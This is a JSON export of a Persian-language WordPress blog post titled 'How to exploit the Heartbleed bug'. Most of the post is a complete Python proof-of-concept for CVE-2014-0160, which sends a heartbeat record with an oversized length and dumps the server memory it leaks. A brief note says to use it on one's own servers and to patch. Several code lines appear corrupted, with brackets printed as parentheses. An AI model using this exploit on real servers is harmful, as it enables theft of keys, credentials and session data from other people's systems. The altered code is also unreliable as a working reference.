{"id":16718,"date":"2024-01-30T16:31:09","date_gmt":"2024-01-30T13:01:09","guid":{"rendered":"https:\/\/rasanegar.com\/blog\/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%a7%d8%b4%da%a9%d8%a7%d9%84-heartbleed-%d8%b3%d9%88%d8%a1-%d8%a7%d8%b3%d8%aa%d9%81%d8%a7%d8%af%d9%87-%da%a9%d9%86%db%8c%d9%85\/"},"modified":"2024-01-30T16:31:09","modified_gmt":"2024-01-30T13:01:09","slug":"%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%a7%d8%b4%da%a9%d8%a7%d9%84-heartbleed-%d8%b3%d9%88%d8%a1-%d8%a7%d8%b3%d8%aa%d9%81%d8%a7%d8%af%d9%87-%da%a9%d9%86%db%8c%d9%85","status":"publish","type":"post","link":"https:\/\/rasanegaar.com\/blog\/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%a7%d8%b4%da%a9%d8%a7%d9%84-heartbleed-%d8%b3%d9%88%d8%a1-%d8%a7%d8%b3%d8%aa%d9%81%d8%a7%d8%af%d9%87-%da%a9%d9%86%db%8c%d9%85\/","title":{"rendered":"\u0686\u06af\u0648\u0646\u0647 \u0627\u0632 \u0627\u0634\u06a9\u0627\u0644 Heartbleed \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_85 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0633\u0631\u0641\u0635\u0644\u0647\u0627\u06cc \u0645\u0637\u0644\u0628<\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/rasanegaar.com\/blog\/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%a7%d8%b4%da%a9%d8%a7%d9%84-heartbleed-%d8%b3%d9%88%d8%a1-%d8%a7%d8%b3%d8%aa%d9%81%d8%a7%d8%af%d9%87-%da%a9%d9%86%db%8c%d9%85\/#%da%a9%d8%af\" >\u06a9\u062f<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/rasanegaar.com\/blog\/%da%86%da%af%d9%88%d9%86%d9%87-%d8%a7%d8%b2-%d8%a7%d8%b4%da%a9%d8%a7%d9%84-heartbleed-%d8%b3%d9%88%d8%a1-%d8%a7%d8%b3%d8%aa%d9%81%d8%a7%d8%af%d9%87-%da%a9%d9%86%db%8c%d9%85\/#%d9%85%d9%86%d8%a7%d8%a8%d8%b9\" >\u0645\u0646\u0627\u0628\u0639<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\">\u0632\u0645\u0627\u0646 \u0644\u0627\u0632\u0645 \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647: <\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">\u062f\u0642\u06cc\u0642\u0647<\/span><\/span><p> <br \/>\n<\/p>\n<div><noscript><\/noscript><\/p>\n<p>\u0627\u0628\u062a\u062f\u0627 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u06cc\u0645 \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u06a9\u0627\u0631 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0627\u06a9\u0646\u0648\u0646 \u0628\u0647 \u0644\u0637\u0641 <a href=\"http:\/\/jspenguin.org\" target=\"_blank\" rel=\"noopener\">\u062c\u0631\u062f \u0627\u0633\u062a\u0627\u0641\u0648\u0631\u062f<\/a> (\u0648 <a href=\"https:\/\/github.com\/stbnps\" target=\"_blank\" rel=\"noopener\">stbnps<\/a> \u0631\u0648\u06cc  GitHub \u0628\u0631\u0627\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a) \u0645\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u06cc\u0645 \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u0627\u0632 \u0622\u0646 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u06cc\u062f.  Heartbleed \u06cc\u06a9 \u0628\u0627\u06af \u0633\u0627\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u06cc\u06a9 \u0628\u0627\u06af \u0633\u0627\u062f\u0647 \u0628\u0631\u0627\u06cc \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0633\u062a.  \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0632\u06cc\u0631 \u0645\u06cc \u0628\u06cc\u0646\u06cc\u062f\u060c \u0641\u0642\u0637 \u06cc\u06a9 \u062a\u06a9 \u0622\u0647\u0646\u06af \u0637\u0648\u0644 \u0645\u06cc \u06a9\u0634\u062f page \u067e\u0627\u06cc\u062a\u0648\u0646 \u0628\u0631\u0627\u06cc \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0628\u0627\u06af.<\/p>\n<p>\u0642\u0628\u0644 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0647 \u06a9\u062f \u0628\u067e\u0631\u062f\u0627\u0632\u06cc\u0645\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0686\u0646\u062f \u0644\u06cc\u0646\u06a9 \u0645\u0631\u062c\u0639 \u0628\u0631\u0627\u06cc \u06a9\u0645\u06a9 \u0628\u0647 \u062f\u0631\u06a9 \u067e\u0631\u0648\u062a\u06a9\u0644 SSL \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f:<\/p>\n<h2 id=\"thecode\"><span class=\"ez-toc-section\" id=\"%da%a9%d8%af\"><\/span>\u06a9\u062f<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<pre><code class=\"hljs\">\n\n\n\n  \n<span class=\"hljs-keyword\">import<\/span> sys\n<span class=\"hljs-keyword\">import<\/span> struct\n<span class=\"hljs-keyword\">import<\/span> socket\n<span class=\"hljs-keyword\">import<\/span> time\n<span class=\"hljs-keyword\">import<\/span> select\n<span class=\"hljs-keyword\">from<\/span> optparse <span class=\"hljs-keyword\">import<\/span> OptionParser\n  \n\nhelloPacket = (\n<span class=\"hljs-string\">'16 03 02 00 31'<\/span>    \n<span class=\"hljs-string\">'01 00 00 2d'<\/span>       \n\n<span class=\"hljs-string\">'03 02'<\/span>             \n\n\n<span class=\"hljs-string\">'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'<\/span>\n<span class=\"hljs-string\">'00'<\/span>                \n<span class=\"hljs-string\">'00 04 '<\/span>            \n<span class=\"hljs-string\">'00 33 c0 11'<\/span>       \n<span class=\"hljs-string\">'01'<\/span>                \n<span class=\"hljs-string\">'00'<\/span>                \n<span class=\"hljs-string\">'00 00'<\/span>             \n).replace(<span class=\"hljs-string\">' '<\/span>, <span class=\"hljs-string\">''<\/span>).decode(<span class=\"hljs-string\">'hex'<\/span>)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nheartbleedPacket = (\n<span class=\"hljs-string\">'18 03 02 00 03'<\/span>    \n<span class=\"hljs-string\">'01 FF FF'<\/span>          \n                    \n).replace(<span class=\"hljs-string\">' '<\/span>, <span class=\"hljs-string\">''<\/span>).decode(<span class=\"hljs-string\">'hex'<\/span>)\n\n\noptions = OptionParser(usage=<span class=\"hljs-string\">'%prog server (options)'<\/span>, description=<span class=\"hljs-string\">'Test for SSL heartbeat vulnerability (CVE-2014-0160)'<\/span>)\noptions.add_option(<span class=\"hljs-string\">'-p'<\/span>, <span class=\"hljs-string\">'--port'<\/span>, <span class=\"hljs-built_in\">type<\/span>=<span class=\"hljs-string\">'int'<\/span>, default=<span class=\"hljs-number\">443<\/span>, <span class=\"hljs-built_in\">help<\/span>=<span class=\"hljs-string\">'TCP port to test (default: 443)'<\/span>)\n\n\n<span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">dump<\/span>(<span class=\"hljs-params\">s<\/span>):<\/span>\n    packetData = <span class=\"hljs-string\">''<\/span>.join((c <span class=\"hljs-keyword\">if<\/span> <span class=\"hljs-number\">32<\/span> &lt;= <span class=\"hljs-built_in\">ord<\/span>(c) &lt;= <span class=\"hljs-number\">126<\/span> <span class=\"hljs-keyword\">else<\/span> <span class=\"hljs-string\">'.'<\/span> )<span class=\"hljs-keyword\">for<\/span> c <span class=\"hljs-keyword\">in<\/span> s)\n    <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'%s'<\/span> % (packetData)\n    \n  \n<span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">recvall<\/span>(<span class=\"hljs-params\">s, length, timeout=<span class=\"hljs-number\">5<\/span><\/span>):<\/span>\n    endtime = time.time() + timeout\n    rdata = <span class=\"hljs-string\">''<\/span>\n    remain = length\n    <span class=\"hljs-keyword\">while<\/span> remain &gt; <span class=\"hljs-number\">0<\/span>:\n        rtime = endtime - time.time()\n        <span class=\"hljs-keyword\">if<\/span> rtime &lt; <span class=\"hljs-number\">0<\/span>:\n            <span class=\"hljs-keyword\">return<\/span> <span class=\"hljs-literal\">None<\/span>\n        \n        r, w, e = select.select((s), (), (), <span class=\"hljs-number\">5<\/span>)\n        <span class=\"hljs-keyword\">if<\/span> s <span class=\"hljs-keyword\">in<\/span> r:\n            data = s.recv(remain)\n            \n            <span class=\"hljs-keyword\">if<\/span> <span class=\"hljs-keyword\">not<\/span> data:\n                <span class=\"hljs-keyword\">return<\/span> <span class=\"hljs-literal\">None<\/span>\n            rdata += data\n            remain -= <span class=\"hljs-built_in\">len<\/span>(data)\n    <span class=\"hljs-keyword\">return<\/span> rdata\n          \n\n\n\n\n\n\n<span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">receiveTLSMessage<\/span>(<span class=\"hljs-params\">s, fragments = <span class=\"hljs-number\">1<\/span><\/span>):<\/span>\n    contentType = <span class=\"hljs-literal\">None<\/span>\n    version = <span class=\"hljs-literal\">None<\/span>\n    length = <span class=\"hljs-literal\">None<\/span>\n    payload = <span class=\"hljs-string\">''<\/span>\n\n    \n    <span class=\"hljs-keyword\">for<\/span> fragmentIndex <span class=\"hljs-keyword\">in<\/span> <span class=\"hljs-built_in\">range<\/span>(<span class=\"hljs-number\">0<\/span>, fragments):\n        tlsHeader = recvall(s, <span class=\"hljs-number\">5<\/span>) \n\n        <span class=\"hljs-keyword\">if<\/span> tlsHeader <span class=\"hljs-keyword\">is<\/span> <span class=\"hljs-literal\">None<\/span>:\n            <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Unexpected EOF receiving record header - server closed connection'<\/span>\n            <span class=\"hljs-keyword\">return<\/span> contentType, version, payload \n\n        contentType, version, length = struct.unpack(<span class=\"hljs-string\">'&gt;BHH'<\/span>, tlsHeader) \n        payload_tmp = recvall(s, length, <span class=\"hljs-number\">5<\/span>) \n\n        <span class=\"hljs-keyword\">if<\/span> payload_tmp <span class=\"hljs-keyword\">is<\/span> <span class=\"hljs-literal\">None<\/span>:\n            <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Unexpected EOF receiving record payload - server closed connection'<\/span>\n            <span class=\"hljs-keyword\">return<\/span> contentType, version, payload \n\n        <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Received message: type = %d, ver = %04x, length = %d'<\/span> % (contentType, version, <span class=\"hljs-built_in\">len<\/span>(payload_tmp))\n\n        payload = payload + payload_tmp\n\n    <span class=\"hljs-keyword\">return<\/span> contentType, version, payload\n    \n\n<span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">exploit<\/span>(<span class=\"hljs-params\">s<\/span>):<\/span>\n    s.send(heartbleedPacket)\n    \n    \n    contentType, version, payload = receiveTLSMessage(s, <span class=\"hljs-number\">4<\/span>)\n    <span class=\"hljs-keyword\">if<\/span> contentType <span class=\"hljs-keyword\">is<\/span> <span class=\"hljs-literal\">None<\/span>:\n        <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'No heartbeat response received, server likely not vulnerable'<\/span>\n        <span class=\"hljs-keyword\">return<\/span> <span class=\"hljs-literal\">False<\/span>\n\n    <span class=\"hljs-keyword\">if<\/span> contentType == <span class=\"hljs-number\">24<\/span>:\n        <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Received heartbeat response:'<\/span>\n        dump(payload)\n        <span class=\"hljs-keyword\">if<\/span> <span class=\"hljs-built_in\">len<\/span>(payload) &gt; <span class=\"hljs-number\">3<\/span>:\n            <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'WARNING: server returned more data than it should - server is vulnerable!'<\/span>\n        <span class=\"hljs-keyword\">else<\/span>:\n            <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Server processed malformed heartbeat, but did not return any extra data.'<\/span>\n        <span class=\"hljs-keyword\">return<\/span> <span class=\"hljs-literal\">True<\/span>\n\n    <span class=\"hljs-keyword\">if<\/span> contentType == <span class=\"hljs-number\">21<\/span>:\n        <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Received alert:'<\/span>\n        dump(payload)\n        <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Server returned error, likely not vulnerable'<\/span>\n        <span class=\"hljs-keyword\">return<\/span> <span class=\"hljs-literal\">False<\/span>\n  \n<span class=\"hljs-function\"><span class=\"hljs-keyword\">def<\/span> <span class=\"hljs-title\">main<\/span>():<\/span>\n    opts, args = options.parse_args()\n    <span class=\"hljs-keyword\">if<\/span> <span class=\"hljs-built_in\">len<\/span>(args) &lt; <span class=\"hljs-number\">1<\/span>:\n        options.print_help()\n        <span class=\"hljs-keyword\">return<\/span>\n  \n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Connecting...'<\/span>\n    sys.stdout.flush()\n    s.connect((args(<span class=\"hljs-number\">0<\/span>), opts.port))\n    <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Sending Client Hello...'<\/span>\n    sys.stdout.flush()\n    s.send(helloPacket)\n    <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Waiting for Server Hello...'<\/span>\n    sys.stdout.flush()\n    \n    <span class=\"hljs-keyword\">while<\/span> <span class=\"hljs-literal\">True<\/span>:\n        contentType, version, payload = receiveTLSMessage(s)\n        <span class=\"hljs-keyword\">if<\/span> contentType == <span class=\"hljs-literal\">None<\/span>:\n            <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Server closed connection without sending Server Hello.'<\/span>\n            <span class=\"hljs-keyword\">return<\/span>\n        \n        <span class=\"hljs-keyword\">if<\/span> contentType == <span class=\"hljs-number\">22<\/span> <span class=\"hljs-keyword\">and<\/span> <span class=\"hljs-built_in\">ord<\/span>(payload(<span class=\"hljs-number\">0<\/span>)) == <span class=\"hljs-number\">0x0E<\/span>:\n            <span class=\"hljs-keyword\">break<\/span>\n  \n    <span class=\"hljs-built_in\">print<\/span> <span class=\"hljs-string\">'Sending heartbeat request...'<\/span>\n    sys.stdout.flush()\n    \n    \n    exploit(s)\n  \n<span class=\"hljs-keyword\">if<\/span> __name__ == <span class=\"hljs-string\">'__main__'<\/span>:\n    main()\n<\/code><\/pre>\n<p>\u0627\u06a9\u0646\u0648\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0631\u0627\u06cc \u0622\u0632\u0645\u0627\u06cc\u0634 \u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u062e\u0648\u062f \u0628\u0631\u0627\u06cc \u0628\u0627\u06af \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f\u060c \u06cc\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u06cc\u06a9\u06cc \u0627\u0632 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0631\u0648\u0631\u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. <a href=\"https:\/\/filippo.io\/Heartbleed\/\" target=\"_blank\" rel=\"noopener\">\u0622\u0632\u0645\u0627\u06cc\u0634 \u06a9\u0646\u0646\u062f\u0647 \u0647\u0627\u06cc \u0622\u0646\u0644\u0627\u06cc\u0646<\/a> \u0628\u06cc\u0631\u0648\u0646 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f.  \u0627\u06af\u0631\u0686\u0647\u060c \u0628\u0647 \u062e\u0627\u0637\u0631 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0628\u0631\u0627\u06cc \u062a\u0633\u062a \u0633\u0631\u0648\u0631\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0627 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0645\u0648\u0627\u062c\u0647 \u0646\u06cc\u0633\u062a\u0646\u062f \u0648 \u062a\u0648\u0633\u0637 \u06cc\u06a9 \u062a\u0633\u062a\u0631 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0642\u0627\u0628\u0644 \u062f\u0633\u062a\u0631\u0633\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f\u060c \u062e\u0648\u0628 \u0627\u0633\u062a.<\/p>\n<p>\u062d\u062a\u06cc \u0627\u06af\u0631 \u0641\u06a9\u0631 \u0646\u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0634\u06a9\u0627\u0644 \u0631\u0627 \u062f\u0627\u0631\u06cc\u062f\u060c \u06cc\u0627 \u0633\u0631\u0648\u0631 \u0634\u0645\u0627 \u0639\u0645\u0648\u0645\u06cc \u0646\u06cc\u0633\u062a\u060c <strong>\u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0622\u0646 \u0631\u0627 \u0648\u0635\u0644\u0647 \u06a9\u0646\u06cc\u062f<\/strong>!<\/p>\n<h3 id=\"resources\"><span class=\"ez-toc-section\" id=\"%d9%85%d9%86%d8%a7%d8%a8%d8%b9\"><\/span>\u0645\u0646\u0627\u0628\u0639<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<\/div>\n<p><script>\n                        !function(f,b,e,v,n,t,s)\n                        {if(f.fbq)return;n=f.fbq=function(){n.callMethod?\n                        n.callMethod.apply(n,arguments):n.queue.push(arguments)};\n                        if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';\n                        n.queue=();t=b.createElement(e);t.async=!0;\n                        t.src=v;s=b.getElementsByTagName(e)(0);\n                        s.parentNode.insertBefore(t,s)}(window, document,'script',\n                        'https:\/\/connect.facebook.net\/en_US\/fbevents.js');\n                        fbq('init', '525232124909042');\n                        fbq('track', 'PageView');\n                    <\/script>    (\u0628\u0631\u0686\u0633\u0628\u200c\u0647\u0627 \u0628\u0647 \u062a\u0631\u062c\u0645\u0647)# python<br \/>\n<br \/><br \/>\n<br \/>\u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u062f\u0631 1403-01-30 16:31:04<br \/>\n<\/p>\n\n\n<div class=\"kk-star-ratings kksr-auto kksr-align-center kksr-valign-bottom\"\n    data-payload='{&quot;align&quot;:&quot;center&quot;,&quot;id&quot;:&quot;16718&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;bottom&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;0&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;0&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;\u0627\u0645\u062a\u06cc\u0627\u0632 \u0634\u0645\u0627 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0637\u0644\u0628&quot;,&quot;legend&quot;:&quot;0\\\/5 (0 \u0631\u0627\u06cc)&quot;,&quot;size&quot;:&quot;30&quot;,&quot;title&quot;:&quot;\u0686\u06af\u0648\u0646\u0647 \u0627\u0632 \u0627\u0634\u06a9\u0627\u0644 Heartbleed \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645&quot;,&quot;width&quot;:&quot;0&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} ({count} \u0631\u0627\u06cc)&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n            \n<div class=\"kksr-stars\">\n    \n<div class=\"kksr-stars-inactive\">\n            <div class=\"kksr-star\" data-star=\"1\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"2\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"3\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"4\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"5\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n    <\/div>\n    \n<div class=\"kksr-stars-active\" style=\"width: 0px;\">\n            <div class=\"kksr-star\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-left: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 30px; height: 30px;\"><\/div>\n        <\/div>\n    <\/div>\n<\/div>\n                \n\n<div class=\"kksr-legend\" style=\"font-size: 24px;\">\n            <span class=\"kksr-muted\">\u0627\u0645\u062a\u06cc\u0627\u0632 \u0634\u0645\u0627 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0637\u0644\u0628<\/span>\n    <\/div>\n    <\/div>\n","protected":false},"excerpt":{"rendered":"<p><span class=\"span-reading-time rt-reading-time\" style=\"display: block;\"><span class=\"rt-label rt-prefix\">\u0632\u0645\u0627\u0646 \u0644\u0627\u0632\u0645 \u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647: <\/span> <span class=\"rt-time\"> 3<\/span> <span class=\"rt-label rt-postfix\">\u062f\u0642\u06cc\u0642\u0647<\/span><\/span>\u0627\u0628\u062a\u062f\u0627 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u06cc\u0645 \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u06a9\u0627\u0631 \u0645\u06cc \u06a9\u0646\u062f \u0648 \u0627\u06a9\u0646\u0648\u0646 \u0628\u0647 \u0644\u0637\u0641 \u062c\u0631\u062f \u0627\u0633\u062a\u0627\u0641\u0648\u0631\u062f (\u0648 stbnps \u0631\u0648\u06cc GitHub \u0628\u0631\u0627\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a) \u0645\u0627 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 \u0634\u0645\u0627 \u0646\u0634\u0627\u0646 \u062f\u0647\u06cc\u0645 \u06a9\u0647 \u0686\u06af\u0648\u0646\u0647 \u0627\u0632 \u0622\u0646 \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0627\u0631\u06cc \u06a9\u0646\u06cc\u062f. Heartbleed \u06cc\u06a9 \u0628\u0627\u06af \u0633\u0627\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u06cc\u06a9 \u0628\u0627\u06af \u0633\u0627\u062f\u0647 \u0628\u0631\u0627\u06cc \u0633\u0648\u0621 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0633\u062a. \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0632\u06cc\u0631 \u0645\u06cc \u0628\u06cc\u0646\u06cc\u062f\u060c \u0641\u0642\u0637 [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":9162,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1743,620],"tags":[],"class_list":["post-16718","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-python","category-programming"],"acf":[],"_links":{"self":[{"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/posts\/16718","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/comments?post=16718"}],"version-history":[{"count":0,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/posts\/16718\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/media\/9162"}],"wp:attachment":[{"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/media?parent=16718"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/categories?post=16718"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rasanegaar.com\/blog\/wp-json\/wp\/v2\/tags?post=16718"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}